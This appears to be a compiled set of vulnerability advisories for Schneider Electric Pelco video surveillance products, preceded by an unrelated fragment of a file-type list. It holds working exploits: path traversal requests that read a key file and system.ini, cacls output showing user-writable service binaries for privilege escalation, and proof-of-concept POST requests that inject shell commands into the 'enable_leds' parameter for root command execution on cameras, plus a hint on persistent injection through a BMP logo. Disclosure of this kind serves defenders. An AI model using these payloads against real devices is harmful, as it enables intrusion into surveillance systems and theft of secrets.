mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo


------


GET /portal//..\\\..\\\..\\\..\\\ProgramData\Pelco\Core\db\security\key.pem HTTP/1.1
Host: 172.19.0.198
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


HTTP/1.1 200 OK
Date: Thu, 06 Apr 2017 11:59:07 GMT
Last-Modified: Wed, 05 Apr 2017 12:58:36 GMT
Cache-Control: public, max-age=86400
Content-Type: text/html; charset=UTF-8
ETag: 1491397116000
Content-Length: 9
Connection: close

T0ps3cret


------


bash-4.4$ cat pelco_system_ini.txt
GET /portal//..\\\..\\\..\\\..\\\windows\system.ini HTTP/1.1
Host: 172.19.0.198
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

bash-4.4$ ncat -v -n 172.19.0.198 80 < pelco_system_ini.txt
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Connected to 172.19.0.198:80.
HTTP/1.1 200 OK
Date: Thu, 06 Apr 2017 12:30:01 GMT
Last-Modified: Wed, 10 Jun 2009 21:08:04 GMT
Cache-Control: public, max-age=86400
Content-Type: text/html; charset=UTF-8
ETag: 1244668084000
Content-Length: 219
Connection: close

; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]
Ncat: 220 bytes sent, 460 bytes received in 0.03 seconds.
bash-4.4$ 
            
Schneider Electric Pelco VideoXpert Privilege Escalations


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: Core Software 1.12.105
                  Media Gateway Software 1.12.26
                  Exports 1.12


Summary: VideoXpert is a video management solution designed for
scalability, fitting the needs surveillance operations of any size.
VideoXpert Ultimate can also aggregate other VideoXpert systems,
tying multiple video management systems into a single interface.

Desc: The application is vulnerable to an elevation of privileges
vulnerability which can be used by a simple user that can change
the executable file with a binary of choice. The vulnerability exist
due to the improper permissions, with the 'F' flag (full) for the
'Users' group, for several binary files. The service is installed
by default to start on system boot with LocalSystem privileges.
Attackers can replace the binary with their rootkit, and on reboot
they get SYSTEM privileges.

VideoXpert services also suffer from an unquoted search path issue
impacting the 'VideoXpert Core' and 'VideoXpert Exports' services
for Windows deployed as part of the VideoXpert Setup bundle. This
could potentially allow an authorized but non-privileged local user
to execute arbitrary code with elevated privileges on the system. A 
successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user’s code would execute
with the elevated privileges of the application.

Tested on: Microsoft Windows 7 Professional SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5418
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5418.php


05.04.2017

--


C:\Program Files\Pelco\Core>sc qc "VideoXpert Core"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VideoXpert Core
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Pelco\Core\tools\nssm.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VideoXpert Core
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


C:\>cacls "C:\Program Files\Pelco\Core\tools\nssm.exe"
C:\Program Files\Pelco\Core\tools\nssm.exe NT AUTHORITY\SYSTEM:(ID)F
                                           BUILTIN\Administrators:(ID)F
                                           BUILTIN\Users:(ID)R


C:\ProgramData\Pelco\Core\db\bin>cacls * |findstr "Users:(ID)F"
C:\ProgramData\Pelco\Core\db\bin\libeay32.dll BUILTIN\Users:(ID)F
C:\ProgramData\Pelco\Core\db\bin\mongod.exe BUILTIN\Users:(ID)F
C:\ProgramData\Pelco\Core\db\bin\mongos.exe BUILTIN\Users:(ID)F
C:\ProgramData\Pelco\Core\db\bin\nssm.exe BUILTIN\Users:(ID)F
C:\ProgramData\Pelco\Core\db\bin\ssleay32.dll BUILTIN\Users:(ID)F


C:\>cacls "C:\ProgramData\Pelco\Exports\bin\nssm.exe"
C:\ProgramData\Pelco\Exports\bin\nssm.exe BUILTIN\Users:(ID)F
                                          NT AUTHORITY\SYSTEM:(ID)F
                                          BUILTIN\Administrators:(ID)F


C:\>cacls "C:\ProgramData\Pelco\Gateway\bin\nssm.exe"
C:\ProgramData\Pelco\Gateway\bin\nssm.exe BUILTIN\Users:(ID)F
                                          NT AUTHORITY\SYSTEM:(ID)F
                                          BUILTIN\Administrators:(ID)F



C:\Users\senad>sc qc "VideoXpert Exports"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VideoXpert Exports
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\ProgramData\Pelco\Exports\bin\nssm.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VideoXpert Exports
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
Schneider Electric Pelco Sarix/Spectra Cameras Root Remote Code Execution


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
                  Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
                  Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
                  Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)

Summary: Pelco offers the broadest selection of IP cameras designed
for security surveillance in a wide variety of commercial and industrial
settings. From our industry-leading fixed and high-speed IP cameras to
panoramic, thermal imaging, explosionproof and more, we offer a camera
for any environment, any lighting condition and any application.
When nothing but the best will do. Sarix Enhanced Range cameras
provide the most robust feature-set for your mission-critical applications.
With SureVision 3.0, Sarix Enhanced delivers the best possible image
in difficult lighting conditions such as a combination of bright areas,
shaded areas, and intense light. Designed with superior reliability,
fault tolerance, and processing speed, these rugged fixed IP cameras
ensure you always get the video that you need.

Desc: The affected cameras suffer from authenticated remote code
execution vulnerability. The POST parameter 'enable_leds' located
in the update() function called via the GeneralSetupController.php
script is not properly sanitised before being used in writeLedConfig()
function to enable led state to on or off. A remote attacker can
exploit this issue and execute arbitrary system commands granting
her system access with root privileges using a specially crafted
request and escape sequence to system shell.


---------------------------------------------------------------------------
/var/www/core/setup/controllers/GeneralSetupController.php:
-----------------------------------------------------------

43: public function update() {
44:         $errOccurred = false;
45:         $logoreboot = false;
46: 
47:         // If can update general settings
48:         if ($this->_context->_user->hasPermission("{51510980-768b-4b26-a44a-2ae49f308184}")) {
49:
50:             $errors = $this->validateInputs("setup", "general.invalid");
51:
52: //
53:             $new_logo_path;
54:             if (empty($errors) && (strlen($_FILES["new_logo_path"]["name"]) > 0)) {
55:                 // The user has provided a file to load in as an image.  Verify that the file is ok.
56:                 $errors = $this->storeBmpFileIfValid($new_logo_path, $width, $height);
57:             } else {
58:                 // In this case, get the width and height from the omons settings
59:                 $width = intval($this->_conf->get("Video/Overlay", "LogoWidth"));
60:                 $height = intval($this->_conf->get("Video/Overlay", "LogoHeight"));
61:             }
62: //
63:             if (empty($errors)) {
64:                 $device_name = $_POST["device_name"];
65:
66:                 $this->_conf->set("Device", "FriendlyName", $device_name);
67:
68:                 // update smtp server; append port 25 if it's not provided by the user
69:                 $smtpServer = $_POST["smtp_server"];
70:
71:                 if ((! empty($smtpServer)) && preg_match(self::kHostPortRegex, $smtpServer) == 0) {
72:                     $smtpServer .= ":" . self::kDefaultSmtpPort;
73:                 }
74:
75:                 $this->_conf->set("Networking", "SmtpServer", $smtpServer);
76:
77: //
78:                 $success = $this->writeLedConfig($_POST["enable_leds"]);
79: //
80:             } else {
81:                 $this->_context->setError("phobos", "validation.failure");
82:                 $this->_context->setErrorList($errors);
83:
84:                 $errOccurred = true;
85:             }
86:         }

...
...
...

Bonus hint: When uploading a bmp logo, you can modify the width offset for example and inject persistent code:
--
-> 12h: 00 01 00 00 ; width (max 0x100, min 0x20)
--
191:             if ($logoOverlay) {
192:                 if($logoreboot) {
193:                     $cmd = "/usr/bin/overlayLogo " . $logo_justification . " " . $logo_row . " " . $width  . " " .  $height . " 0";
194:                     exec($cmd);
195:                 }
196:             } else {                
197:                 $cmd = "/usr/bin/overlayLogo 1 1 1 1 1";
198:                 exec($cmd);
199:             }                

...
...
...

265:         $vparams["enable_leds"] = $this->getLedConfig();
266: //
267:         $vparams["device_name"]  = $this->_conf->get("Device", "FriendlyName");
268:         $vparams["TimeFormat"] = $this->_conf->get("Video/Overlay", "TimeFormat");        
269:         $vparams["date_formats"] = $this->getDateFormats();
270:         $vparams["selectedDateFormat"] = $this->_conf->get("Video/Overlay", "DateFormat");
271:
272:         ob_start();
273:         passthru("date +\"" . $vparams["TimeFormat"] . "\"");
274:         $vparams["current_time"] = trim(ob_get_contents());
275:         ob_end_clean();

...
...
...

630:     /** @param $state string "on" or "off" */
631:     protected function writeLedConfig($state) {
632:         $encoded = array('type' => 'uint32',
633:             'value' => ($state == 'on' ? 1 : 0));
634:
635:         $rest = $this->getRestProxy();
636:         $params = array(array('type' => 'uint32', 'value' => 10), $encoded);
637:         $response = $rest->GetWithPayload('/internal/msgbus/com.pelco.hardware.led/SetState?',
638:                                'application/json',
639:                                $params);
640:
641:         return ($response->GetStatus() == 200);
642:     }

---------------------------------------------------------------------------


Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
           MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
           Lighttpd/1.4.28
           PHP/5.3.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5417
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5417.php


07.04.2017

--


PoC sleep 17s:

POST /setup/system/general/update HTTP/1.1
Host: 192.168.1.1
Content-Length: x
Cache-Control: max-age=0
Origin: http://192.168.1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.1.1/setup/system/general
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Cookie: PHPSESSID=p2ooorb7gloavc0et2stj2tnn4; authos-token=07E14CAF; svcts=1495616826
Connection: close

device_name=ZSL&enable_leds=%60sleep%2017%60&smtp_server=&ntp_server_from_dhcp=false&ntp_server=time.nist.gov&region=Universe&zone=Earth&enable_time_overlay=on&enable_name_overlay=off&position=topright&date_format=0

===

PoC echo:

POST /setup/system/general/update HTTP/1.1
Host: 192.168.1.1

enable_leds=%60echo%20251%20>test.html%60

--

GET http://192.168.1.1/test.html HTTP/1.1

Response:

251